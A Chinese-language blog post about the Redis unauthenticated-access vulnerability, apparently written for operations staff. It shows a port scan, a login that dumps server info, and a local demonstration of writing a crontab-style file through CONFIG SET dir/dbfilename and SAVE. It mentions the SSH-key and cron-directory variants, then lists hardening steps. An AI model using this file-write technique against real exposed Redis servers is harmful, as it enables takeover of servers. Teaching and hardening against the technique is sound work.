Redis简介
redis是一个开源的内存中的数据结构存储系统,可以用于数据库,缓存和消息的中间件。
企业中的应用非常的广泛。
漏洞简介
redis未配置授权导致可以被攻击者恶意利用,redis并不像关系型数据库那样有账户授权体系。
如果未正确配置密码将会被攻击者随意操作数据
在特定情况下当redis运行于root身份下时,攻击者可以通过redis内置命令save(将所有数据快照以rdb文件的形式保存到硬盘)将ssh公钥文件写入,将会导致服务器直接被攻击者登录,带来的后果可想而知
攻击方法
端口扫描redis服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| $ nmap -A -p 6379 -script redis-info 127.0.0.1 Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-11 20:54 CST Nmap scan report for localhost (127.0.0.1) Host is up (0.00023s latency). PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 5.0.3 (64 bits) | redis-info: | Version: 5.0.3 | Operating System: Darwin 18.6.0 x86_64 | Architecture: 64 bits | Process ID: 380 | Used CPU (sys): 85.100232 | Used CPU (user): 52.002794 | Connected clients: 1 | Connected slaves: 0 | Used memory: 1.01M | Role: master | Bind addresses: | 127.0.0.1 | Client connections: |_ 127.0.0.1 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds
|
通过端口扫描可以看到大量服务器信息,基本可以断定这个机器上6379端口用于redis
测试登录redis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| $ redis-cli -h 127.0.0.1 127.0.0.1:6379> info # Server redis_version:5.0.3 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:457be8ba4fa3e51f redis_mode:standalone os:Darwin 18.6.0 x86_64 arch_bits:64 multiplexing_api:kqueue atomicvar_api:atomic-builtin gcc_version:4.2.1 process_id:380 run_id:d8fd8f3fe2591d0870c8aada96d927f348099b3b tcp_port:6379 uptime_in_seconds:1268415 uptime_in_days:14 hz:10 configured_hz:10 lru_clock:12143511
|
发现可以登录,执行info以看到大量的敏感信息,并且可以任意操作数据,如FLUSHALL
,FLUSHDB
这是非常危险的两个命令
redis的相关命令可以查看官方文档https://redis.io/topics/rediscli
测试写入crontab
由于我这里是mac不适合这类测试,我就直接写入一个文件,相信熟悉linux的都知道保存到/var/spool/cron
下即可
1 2 3 4 5 6 7 8 9
| $ redis-cli 127.0.0.1:6379> set test "\n\n*/1 * * * * /bin/bash echo 11 \n\n" OK 127.0.0.1:6379> config set dir /tmp OK 127.0.0.1:6379> config set dbfilename test.sh OK 127.0.0.1:6379> save OK
|
可以看到我们执行成功了,来看一下写入的文件内容

可以看到里面有标准的crontab格式,还有redis的标识这有利于我们去判断是否被攻击着通过redis的漏洞进来的
如何防护
通过能够写入自定义文件可以看出攻击者对于有该漏洞的服务器可利用性非常高,如 写入webshell,挖矿脚本,shell反弹等
redis配置文档https://www.redis.net.cn/tutorial/3504.html
作为一名运维人员,必须要学会如何去做好防护和记录留存
1 2 3 4 5 6 7 8 9 10
| # 配置日志文件 logfile”/usr/local/redis/redis.log” # 配置日志级别 loglevel verbose # 配置密码 requirepass foobared # 配置监听地址,不允许外网访问 bind 127.0.0.1 # 修改默认端口 port 6379
|
1 2
| rename-command FLUSHALL xx rename-command FLUSHDB xx
|
用户不能有登录权限,仅拥有redis数据目录权限
- 开启防火墙
- 对于ssh公钥,用户,密码等文件进行锁定
- 安装基础监控,对于异常连接及时黑名单
上一篇:Tomcat任意写文件漏洞
下一篇:kubelet启动异常